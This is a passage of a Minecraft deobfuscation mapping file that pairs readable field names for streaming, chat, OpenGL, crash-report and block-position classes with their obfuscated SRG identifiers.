net/minecraft/client/stream/BroadcastController$BroadcastState/Starting net/minecraft/client/stream/BroadcastController$BroadcastState/Starting +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Broadcasting net/minecraft/client/stream/BroadcastController$BroadcastState/Broadcasting +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Stopping net/minecraft/client/stream/BroadcastController$BroadcastState/Stopping +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Paused net/minecraft/client/stream/BroadcastController$BroadcastState/Paused +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/IngestTesting net/minecraft/client/stream/BroadcastController$BroadcastState/IngestTesting +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/$VALUES net/minecraft/client/stream/BroadcastController$BroadcastState/$VALUES +FD: net/minecraft/client/stream/BroadcastController/ingestServTester net/minecraft/client/stream/BroadcastController/field_152860_A +FD: net/minecraft/client/stream/BroadcastController/streamCallback net/minecraft/client/stream/BroadcastController/field_177948_B +FD: net/minecraft/client/stream/BroadcastController/field_177949_C net/minecraft/client/stream/BroadcastController/field_177949_C +FD: net/minecraft/client/stream/BroadcastController/logger net/minecraft/client/stream/BroadcastController/field_152861_B +FD: net/minecraft/client/stream/BroadcastController/field_152862_C net/minecraft/client/stream/BroadcastController/field_152862_C +FD: net/minecraft/client/stream/BroadcastController/lastError net/minecraft/client/stream/BroadcastController/field_152863_D +FD: net/minecraft/client/stream/BroadcastController/errorCode net/minecraft/client/stream/BroadcastController/field_152864_E +FD: net/minecraft/client/stream/BroadcastController/field_152865_a net/minecraft/client/stream/BroadcastController/field_152865_a +FD: net/minecraft/client/stream/BroadcastController/field_152866_b net/minecraft/client/stream/BroadcastController/field_152866_b +FD: net/minecraft/client/stream/BroadcastController/broadcastListener net/minecraft/client/stream/BroadcastController/field_152867_c +FD: net/minecraft/client/stream/BroadcastController/field_152868_d net/minecraft/client/stream/BroadcastController/field_152868_d +FD: net/minecraft/client/stream/BroadcastController/field_152869_e net/minecraft/client/stream/BroadcastController/field_152869_e +FD: net/minecraft/client/stream/BroadcastController/field_152870_f net/minecraft/client/stream/BroadcastController/field_152870_f +FD: net/minecraft/client/stream/BroadcastController/field_152871_g net/minecraft/client/stream/BroadcastController/field_152871_g +FD: net/minecraft/client/stream/BroadcastController/streamCore net/minecraft/client/stream/BroadcastController/field_152872_h +FD: net/minecraft/client/stream/BroadcastController/theStream net/minecraft/client/stream/BroadcastController/field_152873_i +FD: net/minecraft/client/stream/BroadcastController/field_152874_j net/minecraft/client/stream/BroadcastController/field_152874_j +FD: net/minecraft/client/stream/BroadcastController/field_152875_k net/minecraft/client/stream/BroadcastController/field_152875_k +FD: net/minecraft/client/stream/BroadcastController/field_152876_l net/minecraft/client/stream/BroadcastController/field_152876_l +FD: net/minecraft/client/stream/BroadcastController/field_152877_m net/minecraft/client/stream/BroadcastController/field_152877_m +FD: net/minecraft/client/stream/BroadcastController/field_152878_n net/minecraft/client/stream/BroadcastController/field_152878_n +FD: net/minecraft/client/stream/BroadcastController/broadcastState net/minecraft/client/stream/BroadcastController/field_152879_o +FD: net/minecraft/client/stream/BroadcastController/field_152880_p net/minecraft/client/stream/BroadcastController/field_152880_p +FD: net/minecraft/client/stream/BroadcastController/videoParamaters net/minecraft/client/stream/BroadcastController/field_152881_q +FD: net/minecraft/client/stream/BroadcastController/audioParamaters net/minecraft/client/stream/BroadcastController/field_152882_r +FD: net/minecraft/client/stream/BroadcastController/ingestList net/minecraft/client/stream/BroadcastController/field_152883_s +FD: net/minecraft/client/stream/BroadcastController/ingestServ net/minecraft/client/stream/BroadcastController/field_152884_t +FD: net/minecraft/client/stream/BroadcastController/authenticationToken net/minecraft/client/stream/BroadcastController/field_152885_u +FD: net/minecraft/client/stream/BroadcastController/channelInfo net/minecraft/client/stream/BroadcastController/field_152886_v +FD: net/minecraft/client/stream/BroadcastController/userInfo net/minecraft/client/stream/BroadcastController/field_152887_w +FD: net/minecraft/client/stream/BroadcastController/streamInfo net/minecraft/client/stream/BroadcastController/field_152888_x +FD: net/minecraft/client/stream/BroadcastController/archivingState net/minecraft/client/stream/BroadcastController/field_152889_y +FD: net/minecraft/client/stream/BroadcastController/field_152890_z net/minecraft/client/stream/BroadcastController/field_152890_z +FD: net/minecraft/client/stream/ChatController$1/field_176000_a net/minecraft/client/stream/ChatController$1/field_176000_a +FD: net/minecraft/client/stream/ChatController$2/field_175976_a net/minecraft/client/stream/ChatController$2/field_175976_a +FD: net/minecraft/client/stream/ChatController$2/field_175974_b net/minecraft/client/stream/ChatController$2/field_175974_b +FD: net/minecraft/client/stream/ChatController$2/field_175975_c net/minecraft/client/stream/ChatController$2/field_175975_c +FD: net/minecraft/client/stream/ChatController$EnumChannelState/Created net/minecraft/client/stream/ChatController$EnumChannelState/Created +FD: net/minecraft/client/stream/ChatController$EnumChannelState/Connecting net/minecraft/client/stream/ChatController$EnumChannelState/Connecting +FD: net/minecraft/client/stream/ChatController$EnumChannelState/Connected net/minecraft/client/stream/ChatController$EnumChannelState/Connected +FD: net/minecraft/client/stream/ChatController$EnumChannelState/Disconnecting net/minecraft/client/stream/ChatController$EnumChannelState/Disconnecting +FD: net/minecraft/client/stream/ChatController$EnumChannelState/Disconnected net/minecraft/client/stream/ChatController$EnumChannelState/Disconnected +FD: net/minecraft/client/stream/ChatController$EnumChannelState/$VALUES net/minecraft/client/stream/ChatController$EnumChannelState/$VALUES +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176048_a net/minecraft/client/stream/ChatController$ChatChannelListener/field_176048_a +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176046_b net/minecraft/client/stream/ChatController$ChatChannelListener/field_176046_b +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176047_c net/minecraft/client/stream/ChatController$ChatChannelListener/field_176047_c +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176044_d net/minecraft/client/stream/ChatController$ChatChannelListener/field_176044_d +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176045_e net/minecraft/client/stream/ChatController$ChatChannelListener/field_176045_e +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176042_f net/minecraft/client/stream/ChatController$ChatChannelListener/field_176042_f +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176043_g net/minecraft/client/stream/ChatController$ChatChannelListener/field_176043_g +FD: net/minecraft/client/stream/ChatController$ChatChannelListener/field_176049_h net/minecraft/client/stream/ChatController$ChatChannelListener/field_176049_h +FD: net/minecraft/client/stream/ChatController$ChatState/Uninitialized net/minecraft/client/stream/ChatController$ChatState/Uninitialized +FD: net/minecraft/client/stream/ChatController$ChatState/Initializing net/minecraft/client/stream/ChatController$ChatState/Initializing +FD: net/minecraft/client/stream/ChatController$ChatState/Initialized net/minecraft/client/stream/ChatController$ChatState/Initialized +FD: net/minecraft/client/stream/ChatController$ChatState/ShuttingDown net/minecraft/client/stream/ChatController$ChatState/ShuttingDown +FD: net/minecraft/client/stream/ChatController$ChatState/$VALUES net/minecraft/client/stream/ChatController$ChatState/$VALUES +FD: net/minecraft/client/stream/ChatController$EnumEmoticonMode/None net/minecraft/client/stream/ChatController$EnumEmoticonMode/None +FD: net/minecraft/client/stream/ChatController$EnumEmoticonMode/Url net/minecraft/client/stream/ChatController$EnumEmoticonMode/Url +FD: net/minecraft/client/stream/ChatController$EnumEmoticonMode/TextureAtlas net/minecraft/client/stream/ChatController$EnumEmoticonMode/TextureAtlas +FD: net/minecraft/client/stream/ChatController$EnumEmoticonMode/$VALUES net/minecraft/client/stream/ChatController$EnumEmoticonMode/$VALUES +FD: net/minecraft/client/stream/ChatController/field_153003_a net/minecraft/client/stream/ChatController/field_153003_a +FD: net/minecraft/client/stream/ChatController/field_153004_b net/minecraft/client/stream/ChatController/field_153004_b +FD: net/minecraft/client/stream/ChatController/field_153006_d net/minecraft/client/stream/ChatController/field_153006_d +FD: net/minecraft/client/stream/ChatController/field_153007_e net/minecraft/client/stream/ChatController/field_153007_e +FD: net/minecraft/client/stream/ChatController/field_175992_e net/minecraft/client/stream/ChatController/field_175992_e +FD: net/minecraft/client/stream/ChatController/field_153008_f net/minecraft/client/stream/ChatController/field_153008_f +FD: net/minecraft/client/stream/ChatController/field_153011_i net/minecraft/client/stream/ChatController/field_153011_i +FD: net/minecraft/client/stream/ChatController/field_153012_j net/minecraft/client/stream/ChatController/field_153012_j +FD: net/minecraft/client/stream/ChatController/field_175998_i net/minecraft/client/stream/ChatController/field_175998_i +FD: net/minecraft/client/stream/ChatController/field_153015_m net/minecraft/client/stream/ChatController/field_153015_m +FD: net/minecraft/client/stream/ChatController/field_175997_k net/minecraft/client/stream/ChatController/field_175997_k +FD: net/minecraft/client/stream/ChatController/field_175995_l net/minecraft/client/stream/ChatController/field_175995_l +FD: net/minecraft/client/stream/ChatController/field_175996_m net/minecraft/client/stream/ChatController/field_175996_m +FD: net/minecraft/client/stream/ChatController/field_175993_n net/minecraft/client/stream/ChatController/field_175993_n +FD: net/minecraft/client/stream/ChatController/field_175994_o net/minecraft/client/stream/ChatController/field_175994_o +FD: net/minecraft/client/stream/ChatController/field_175999_p net/minecraft/client/stream/ChatController/field_175999_p +FD: net/minecraft/client/stream/ChatController/LOGGER net/minecraft/client/stream/ChatController/field_153018_p +FD: net/minecraft/client/stream/IngestServerTester$1/field_176010_a net/minecraft/client/stream/IngestServerTester$1/field_176010_a +FD: net/minecraft/client/stream/IngestServerTester$2/field_176001_a net/minecraft/client/stream/IngestServerTester$2/field_176001_a +FD: net/minecraft/client/stream/IngestServerTester$3/field_176003_a net/minecraft/client/stream/IngestServerTester$3/field_176003_a +FD: net/minecraft/client/stream/IngestServerTester$3/field_176002_b net/minecraft/client/stream/IngestServerTester$3/field_176002_b +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/Uninitalized net/minecraft/client/stream/IngestServerTester$IngestTestState/Uninitalized +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/Starting net/minecraft/client/stream/IngestServerTester$IngestTestState/Starting +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/ConnectingToServer net/minecraft/client/stream/IngestServerTester$IngestTestState/ConnectingToServer +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/TestingServer net/minecraft/client/stream/IngestServerTester$IngestTestState/TestingServer +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/DoneTestingServer net/minecraft/client/stream/IngestServerTester$IngestTestState/DoneTestingServer +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/Finished net/minecraft/client/stream/IngestServerTester$IngestTestState/Finished +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/Cancelling net/minecraft/client/stream/IngestServerTester$IngestTestState/Cancelling +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/Cancelled net/minecraft/client/stream/IngestServerTester$IngestTestState/Cancelled +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/Failed net/minecraft/client/stream/IngestServerTester$IngestTestState/Failed +FD: net/minecraft/client/stream/IngestServerTester$IngestTestState/$VALUES net/minecraft/client/stream/IngestServerTester$IngestTestState/$VALUES +FD: net/minecraft/client/stream/IngestServerTester/field_176005_A net/minecraft/client/stream/IngestServerTester/field_176005_A +FD: net/minecraft/client/stream/IngestServerTester/field_176006_B net/minecraft/client/stream/IngestServerTester/field_176006_B +FD: net/minecraft/client/stream/IngestServerTester/field_153044_b net/minecraft/client/stream/IngestServerTester/field_153044_b +FD: net/minecraft/client/stream/IngestServerTester/field_153045_c net/minecraft/client/stream/IngestServerTester/field_153045_c +FD: net/minecraft/client/stream/IngestServerTester/field_153046_d net/minecraft/client/stream/IngestServerTester/field_153046_d +FD: net/minecraft/client/stream/IngestServerTester/field_153047_e net/minecraft/client/stream/IngestServerTester/field_153047_e +FD: net/minecraft/client/stream/IngestServerTester/field_153048_f net/minecraft/client/stream/IngestServerTester/field_153048_f +FD: net/minecraft/client/stream/IngestServerTester/field_153049_g net/minecraft/client/stream/IngestServerTester/field_153049_g +FD: net/minecraft/client/stream/IngestServerTester/field_153050_h net/minecraft/client/stream/IngestServerTester/field_153050_h +FD: net/minecraft/client/stream/IngestServerTester/field_153051_i net/minecraft/client/stream/IngestServerTester/field_153051_i +FD: net/minecraft/client/stream/IngestServerTester/field_153052_j net/minecraft/client/stream/IngestServerTester/field_153052_j +FD: net/minecraft/client/stream/IngestServerTester/audioParameters net/minecraft/client/stream/IngestServerTester/field_153053_k +FD: net/minecraft/client/stream/IngestServerTester/field_153054_l net/minecraft/client/stream/IngestServerTester/field_153054_l +FD: net/minecraft/client/stream/IngestServerTester/field_153055_m net/minecraft/client/stream/IngestServerTester/field_153055_m +FD: net/minecraft/client/stream/IngestServerTester/field_153056_n net/minecraft/client/stream/IngestServerTester/field_153056_n +FD: net/minecraft/client/stream/IngestServerTester/field_153057_o net/minecraft/client/stream/IngestServerTester/field_153057_o +FD: net/minecraft/client/stream/IngestServerTester/field_153058_p net/minecraft/client/stream/IngestServerTester/field_153058_p +FD: net/minecraft/client/stream/IngestServerTester/field_153059_q net/minecraft/client/stream/IngestServerTester/field_153059_q +FD: net/minecraft/client/stream/IngestServerTester/field_153060_r net/minecraft/client/stream/IngestServerTester/field_153060_r +FD: net/minecraft/client/stream/IngestServerTester/field_153061_s net/minecraft/client/stream/IngestServerTester/field_153061_s +FD: net/minecraft/client/stream/IngestServerTester/field_153062_t net/minecraft/client/stream/IngestServerTester/field_153062_t +FD: net/minecraft/client/stream/IngestServerTester/field_153063_u net/minecraft/client/stream/IngestServerTester/field_153063_u +FD: net/minecraft/client/stream/IngestServerTester/field_153064_v net/minecraft/client/stream/IngestServerTester/field_153064_v +FD: net/minecraft/client/stream/IngestServerTester/field_153065_w net/minecraft/client/stream/IngestServerTester/field_153065_w +FD: net/minecraft/client/stream/IngestServerTester/field_153066_x net/minecraft/client/stream/IngestServerTester/field_153066_x +FD: net/minecraft/client/stream/IngestServerTester/field_176009_x net/minecraft/client/stream/IngestServerTester/field_176009_x +FD: net/minecraft/client/stream/IngestServerTester/field_176008_y net/minecraft/client/stream/IngestServerTester/field_176008_y +FD: net/minecraft/client/stream/IngestServerTester/field_176007_z net/minecraft/client/stream/IngestServerTester/field_176007_z +FD: net/minecraft/client/stream/IStream$AuthFailureReason/ERROR net/minecraft/client/stream/IStream$AuthFailureReason/ERROR +FD: net/minecraft/client/stream/IStream$AuthFailureReason/INVALID_TOKEN net/minecraft/client/stream/IStream$AuthFailureReason/INVALID_TOKEN +FD: net/minecraft/client/stream/IStream$AuthFailureReason/$VALUES net/minecraft/client/stream/IStream$AuthFailureReason/$VALUES +FD: net/minecraft/client/stream/TwitchStream$1$1/field_153082_a net/minecraft/client/stream/TwitchStream$1$1/field_153082_a +FD: net/minecraft/client/stream/TwitchStream$1/field_153083_a net/minecraft/client/stream/TwitchStream$1/field_153083_a +FD: net/minecraft/client/stream/TwitchStream$1/field_153084_b net/minecraft/client/stream/TwitchStream$1/field_153084_b +FD: net/minecraft/client/stream/TwitchStream/STREAM_MARKER net/minecraft/client/stream/TwitchStream/field_152949_a +FD: net/minecraft/client/stream/TwitchStream/LOGGER net/minecraft/client/stream/TwitchStream/field_152950_b +FD: net/minecraft/client/stream/TwitchStream/broadcastController net/minecraft/client/stream/TwitchStream/field_152951_c +FD: net/minecraft/client/stream/TwitchStream/chatController net/minecraft/client/stream/TwitchStream/field_152952_d +FD: net/minecraft/client/stream/TwitchStream/field_176029_e net/minecraft/client/stream/TwitchStream/field_176029_e +FD: net/minecraft/client/stream/TwitchStream/mc net/minecraft/client/stream/TwitchStream/field_152953_e +FD: net/minecraft/client/stream/TwitchStream/twitchComponent net/minecraft/client/stream/TwitchStream/field_152954_f +FD: net/minecraft/client/stream/TwitchStream/field_152955_g net/minecraft/client/stream/TwitchStream/field_152955_g +FD: net/minecraft/client/stream/TwitchStream/framebuffer net/minecraft/client/stream/TwitchStream/field_152956_h +FD: net/minecraft/client/stream/TwitchStream/field_152957_i net/minecraft/client/stream/TwitchStream/field_152957_i +FD: net/minecraft/client/stream/TwitchStream/targetFPS net/minecraft/client/stream/TwitchStream/field_152958_j +FD: net/minecraft/client/stream/TwitchStream/field_152959_k net/minecraft/client/stream/TwitchStream/field_152959_k +FD: net/minecraft/client/stream/TwitchStream/field_152960_l net/minecraft/client/stream/TwitchStream/field_152960_l +FD: net/minecraft/client/stream/TwitchStream/loggedIn net/minecraft/client/stream/TwitchStream/field_152961_m +FD: net/minecraft/client/stream/TwitchStream/field_152962_n net/minecraft/client/stream/TwitchStream/field_152962_n +FD: net/minecraft/client/stream/TwitchStream/field_152963_o net/minecraft/client/stream/TwitchStream/field_152963_o +FD: net/minecraft/client/stream/TwitchStream/authFailureReason net/minecraft/client/stream/TwitchStream/field_152964_p +FD: net/minecraft/client/stream/TwitchStream/field_152965_q net/minecraft/client/stream/TwitchStream/field_152965_q +FD: net/minecraft/client/stream/NullStream/field_152938_a net/minecraft/client/stream/NullStream/field_152938_a +FD: net/minecraft/util/Vector3d/x net/minecraft/util/Vector3d/field_181059_a +FD: net/minecraft/util/Vector3d/y net/minecraft/util/Vector3d/field_181060_b +FD: net/minecraft/util/Vector3d/z net/minecraft/util/Vector3d/field_181061_c +FD: net/minecraft/client/renderer/OpenGlHelper/GL_SOURCE1_RGB net/minecraft/client/renderer/OpenGlHelper/field_176097_z +FD: net/minecraft/client/renderer/OpenGlHelper/GL_SOURCE2_RGB net/minecraft/client/renderer/OpenGlHelper/field_176080_A +FD: net/minecraft/client/renderer/OpenGlHelper/GL_OPERAND0_RGB net/minecraft/client/renderer/OpenGlHelper/field_176081_B +FD: net/minecraft/client/renderer/OpenGlHelper/GL_OPERAND1_RGB net/minecraft/client/renderer/OpenGlHelper/field_176082_C +FD: net/minecraft/client/renderer/OpenGlHelper/GL_OPERAND2_RGB net/minecraft/client/renderer/OpenGlHelper/field_176076_D +FD: net/minecraft/client/renderer/OpenGlHelper/GL_COMBINE_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176077_E +FD: net/minecraft/client/renderer/OpenGlHelper/GL_SOURCE0_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176078_F +FD: net/minecraft/client/renderer/OpenGlHelper/GL_SOURCE1_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176079_G +FD: net/minecraft/client/renderer/OpenGlHelper/GL_SOURCE2_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176084_H +FD: net/minecraft/client/renderer/OpenGlHelper/GL_OPERAND0_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176085_I +FD: net/minecraft/client/renderer/OpenGlHelper/GL_OPERAND1_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176086_J +FD: net/minecraft/client/renderer/OpenGlHelper/GL_OPERAND2_ALPHA net/minecraft/client/renderer/OpenGlHelper/field_176087_K +FD: net/minecraft/client/renderer/OpenGlHelper/extBlendFuncSeparate net/minecraft/client/renderer/OpenGlHelper/field_153211_u +FD: net/minecraft/client/renderer/OpenGlHelper/openGL21 net/minecraft/client/renderer/OpenGlHelper/field_148827_a +FD: net/minecraft/client/renderer/OpenGlHelper/shadersSupported net/minecraft/client/renderer/OpenGlHelper/field_148824_g +FD: net/minecraft/client/renderer/OpenGlHelper/vboSupported net/minecraft/client/renderer/OpenGlHelper/field_176083_O +FD: net/minecraft/client/renderer/OpenGlHelper/vboSupportedAti net/minecraft/client/renderer/OpenGlHelper/field_181062_Q +FD: net/minecraft/client/renderer/OpenGlHelper/GL_ARRAY_BUFFER net/minecraft/client/renderer/OpenGlHelper/field_176089_P +FD: net/minecraft/client/renderer/OpenGlHelper/GL_STATIC_DRAW net/minecraft/client/renderer/OpenGlHelper/field_148826_e +FD: net/minecraft/client/renderer/OpenGlHelper/framebufferType net/minecraft/client/renderer/OpenGlHelper/field_153212_w +FD: net/minecraft/client/renderer/OpenGlHelper/shadersAvailable net/minecraft/client/renderer/OpenGlHelper/field_153213_x +FD: net/minecraft/client/renderer/OpenGlHelper/arbShaders net/minecraft/client/renderer/OpenGlHelper/field_153214_y +FD: net/minecraft/client/renderer/OpenGlHelper/arbMultitexture net/minecraft/client/renderer/OpenGlHelper/field_153215_z +FD: net/minecraft/client/renderer/OpenGlHelper/arbTextureEnvCombine net/minecraft/client/renderer/OpenGlHelper/field_176088_V +FD: net/minecraft/client/renderer/OpenGlHelper/openGL14 net/minecraft/client/renderer/OpenGlHelper/field_148828_i +FD: net/minecraft/client/renderer/OpenGlHelper/logText net/minecraft/client/renderer/OpenGlHelper/field_153196_B +FD: net/minecraft/client/renderer/OpenGlHelper/nvidia net/minecraft/client/renderer/OpenGlHelper/field_153197_d +FD: net/minecraft/client/renderer/OpenGlHelper/cpu net/minecraft/client/renderer/OpenGlHelper/field_183030_aa +FD: net/minecraft/client/renderer/OpenGlHelper/arbVbo net/minecraft/client/renderer/OpenGlHelper/field_176090_Y +FD: net/minecraft/client/renderer/OpenGlHelper/ati net/minecraft/client/renderer/OpenGlHelper/field_181063_b +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FRAMEBUFFER net/minecraft/client/renderer/OpenGlHelper/field_153198_e +FD: net/minecraft/client/renderer/OpenGlHelper/GL_RENDERBUFFER net/minecraft/client/renderer/OpenGlHelper/field_153199_f +FD: net/minecraft/client/renderer/OpenGlHelper/GL_COLOR_ATTACHMENT0 net/minecraft/client/renderer/OpenGlHelper/field_153200_g +FD: net/minecraft/client/renderer/OpenGlHelper/GL_DEPTH_ATTACHMENT net/minecraft/client/renderer/OpenGlHelper/field_153201_h +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FRAMEBUFFER_COMPLETE net/minecraft/client/renderer/OpenGlHelper/field_153202_i +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FB_INCOMPLETE_ATTACHMENT net/minecraft/client/renderer/OpenGlHelper/field_153203_j +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FB_INCOMPLETE_MISS_ATTACH net/minecraft/client/renderer/OpenGlHelper/field_153204_k +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FB_INCOMPLETE_DRAW_BUFFER net/minecraft/client/renderer/OpenGlHelper/field_153205_l +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FB_INCOMPLETE_READ_BUFFER net/minecraft/client/renderer/OpenGlHelper/field_153206_m +FD: net/minecraft/client/renderer/OpenGlHelper/framebufferSupported net/minecraft/client/renderer/OpenGlHelper/field_148823_f +FD: net/minecraft/client/renderer/OpenGlHelper/GL_LINK_STATUS net/minecraft/client/renderer/OpenGlHelper/field_153207_o +FD: net/minecraft/client/renderer/OpenGlHelper/GL_COMPILE_STATUS net/minecraft/client/renderer/OpenGlHelper/field_153208_p +FD: net/minecraft/client/renderer/OpenGlHelper/GL_VERTEX_SHADER net/minecraft/client/renderer/OpenGlHelper/field_153209_q +FD: net/minecraft/client/renderer/OpenGlHelper/GL_FRAGMENT_SHADER net/minecraft/client/renderer/OpenGlHelper/field_153210_r +FD: net/minecraft/client/renderer/OpenGlHelper/defaultTexUnit net/minecraft/client/renderer/OpenGlHelper/field_77478_a +FD: net/minecraft/client/renderer/OpenGlHelper/lightmapTexUnit net/minecraft/client/renderer/OpenGlHelper/field_77476_b +FD: net/minecraft/client/renderer/OpenGlHelper/GL_TEXTURE2 net/minecraft/client/renderer/OpenGlHelper/field_176096_r +FD: net/minecraft/client/renderer/OpenGlHelper/GL_COMBINE net/minecraft/client/renderer/OpenGlHelper/field_176095_s +FD: net/minecraft/client/renderer/OpenGlHelper/GL_INTERPOLATE net/minecraft/client/renderer/OpenGlHelper/field_176094_t +FD: net/minecraft/client/renderer/OpenGlHelper/GL_PRIMARY_COLOR net/minecraft/client/renderer/OpenGlHelper/field_176093_u +FD: net/minecraft/client/renderer/OpenGlHelper/GL_CONSTANT net/minecraft/client/renderer/OpenGlHelper/field_176092_v +FD: net/minecraft/client/renderer/OpenGlHelper/GL_PREVIOUS net/minecraft/client/renderer/OpenGlHelper/field_176091_w +FD: net/minecraft/client/renderer/OpenGlHelper/GL_COMBINE_RGB net/minecraft/client/renderer/OpenGlHelper/field_176099_x +FD: net/minecraft/client/renderer/OpenGlHelper/GL_SOURCE0_RGB net/minecraft/client/renderer/OpenGlHelper/field_176098_y +FD: net/minecraft/command/CommandTitle/LOGGER net/minecraft/command/CommandTitle/field_175774_a +FD: net/minecraft/command/CommandException/errorObjects net/minecraft/command/CommandException/field_74845_a +FD: net/minecraft/crash/CrashReportCategory$1/field_85080_a net/minecraft/crash/CrashReportCategory$1/field_85080_a +FD: net/minecraft/crash/CrashReportCategory$1/field_147151_b net/minecraft/crash/CrashReportCategory$1/field_147151_b +FD: net/minecraft/crash/CrashReportCategory$2/field_85063_a net/minecraft/crash/CrashReportCategory$2/field_85063_a +FD: net/minecraft/crash/CrashReportCategory$3/field_175749_a net/minecraft/crash/CrashReportCategory$3/field_175749_a +FD: net/minecraft/crash/CrashReportCategory$6/field_175754_a net/minecraft/crash/CrashReportCategory$6/field_175754_a +FD: net/minecraft/crash/CrashReportCategory$7/field_175752_a net/minecraft/crash/CrashReportCategory$7/field_175752_a +FD: net/minecraft/crash/CrashReportCategory$Entry/key net/minecraft/crash/CrashReportCategory$Entry/field_85092_a +FD: net/minecraft/crash/CrashReportCategory$Entry/value net/minecraft/crash/CrashReportCategory$Entry/field_85091_b +FD: net/minecraft/crash/CrashReportCategory/crashReport net/minecraft/crash/CrashReportCategory/field_85078_a +FD: net/minecraft/crash/CrashReportCategory/name net/minecraft/crash/CrashReportCategory/field_85076_b +FD: net/minecraft/crash/CrashReportCategory/children net/minecraft/crash/CrashReportCategory/field_85077_c +FD: net/minecraft/crash/CrashReportCategory/stackTrace net/minecraft/crash/CrashReportCategory/field_85075_d +FD: net/minecraft/util/BlockPos$1$1/field_179310_a net/minecraft/util/BlockPos$1$1/field_179310_a +FD: net/minecraft/util/BlockPos$1$1/lastReturned net/minecraft/util/BlockPos$1$1/field_179309_b +FD: net/minecraft/util/BlockPos$1/field_179307_a net/minecraft/util/BlockPos$1/field_179307_a +FD: net/minecraft/util/BlockPos$1/field_179306_b net/minecraft/util/BlockPos$1/field_179306_b +FD: net/minecraft/util/BlockPos$2$1/field_179315_a net/minecraft/util/BlockPos$2$1/field_179315_a +FD: net/minecraft/util/BlockPos$2$1/theBlockPos net/minecraft/util/BlockPos$2$1/field_179314_b +FD: net/minecraft/util/BlockPos$2/field_179312_a net/minecraft/util/BlockPos$2/field_179312_a +FD: net/minecraft/util/BlockPos$2/field_179311_b net/minecraft/util/BlockPos$2/field_179311_b +FD: net/minecraft/util/BlockPos$MutableBlockPos/x net/minecraft/util/BlockPos$MutableBlockPos/field_177997_b +FD: net/minecraft/util/BlockPos$MutableBlockPos/y net/minecraft/util/BlockPos$MutableBlockPos/field_177998_c +FD: net/minecraft/util/BlockPos$MutableBlockPos/z net/minecraft/util/BlockPos$MutableBlockPos/field_177996_d +FD: net/minecraft/util/BlockPos/ORIGIN net/minecraft/util/BlockPos/field_177992_a +FD: net/minecraft/util/BlockPos/NUM_X_BITS net/minecraft/util/BlockPos/field_177990_b +FD: net/minecraft/util/BlockPos/NUM_Z_BITS net/minecraft/util/BlockPos/field_177991_c +FD: net/minecraft/util/BlockPos/NUM_Y_BITS net/minecraft/util/BlockPos/field_177989_d +FD: net/minecraft/util/BlockPos/Y_SHIFT net/minecraft/util/BlockPos/field_177987_f +FD: net/minecraft/util/BlockPos/X_SHIFT net/minecraft/util/BlockPos/field_177988_g +FD: net/minecraft/util/BlockPos/X_MASK net/minecraft/util/BlockPos/field_177994_h +FD: net/minecraft/util/BlockPos/Y_MASK net/minecraft/util/BlockPos/field_177995_i +FD: net/minecraft/util/BlockPos/Z_MASK net/minecraft/util/BlockPos/field_177993_j +FD: net/minecraft/block/BlockSourceImpl/worldObj net/minecraft/block/BlockSourceImpl/field_82627_a +FD: net/minecraft/block/BlockSourceImpl/pos net/minecraft/block/BlockSourceImpl/field_179317_b +FD: net/minecraft/util/Cartesian$Product$ProductIterator/index net/minecraft/util/Cartesian$Product$ProductIterator/field_179426_a +FD: net/minecraft/util/Cartesian$Product$ProductIterator/iterables net/minecraft/util/Cartesian$Product$ProductIterator/field_179424_b +FD: net/minecraft/util/Cartesian$Product$ProductIterator/iterators net/minecraft/util/Cartesian$Product$ProductIterator/field_179425_c +FD: net/minecraft/util/Cartesian$Product$ProductIterator/results net/minecraft/util/Cartesian$Product$ProductIterator/field_179423_d +FD: net/minecraft/util/Cartesian$Product/clazz net/minecraft/util/Cartesian$Product/field_179429_a +FD: net/minecraft/util/Cartesian$Product/iterables net/minecraft/util/Cartesian$Product/field_179428_b +FD: net/minecraft/util/RegistryNamespacedDefaultedByKey/defaultValueKey net/minecraft/util/RegistryNamespacedDefaultedByKey/field_148760_d +FD: net/minecraft/util/RegistryNamespacedDefaultedByKey/defaultValue net/minecraft/util/RegistryNamespacedDefaultedByKey/field_148761_e +FD: net/minecraft/util/RegistryDefaulted/defaultObject net/minecraft/util/RegistryDefaulted/field_82597_b +FD: net/minecraft/util/EnumFacing$1/field_179515_a net/minecraft/util/EnumFacing$1/field_179515_a +FD: net/minecraft/util/EnumFacing$1/field_179513_b net/minecraft/util/EnumFacing$1/field_179513_b +FD: net/minecraft/util/EnumFacing$1/field_179514_c net/minecraft/util/EnumFacing$1/field_179514_c +FD: net/minecraft/util/EnumFacing$Axis/X net/minecraft/util/EnumFacing$Axis/X +FD: net/minecraft/util/EnumFacing$Axis/Y net/minecraft/util/EnumFacing$Axis/Y +FD: net/minecraft/util/EnumFacing$Axis/Z net/minecraft/util/EnumFacing$Axis/Z +FD: net/minecraft/util/EnumFacing$Axis/NAME_LOOKUP 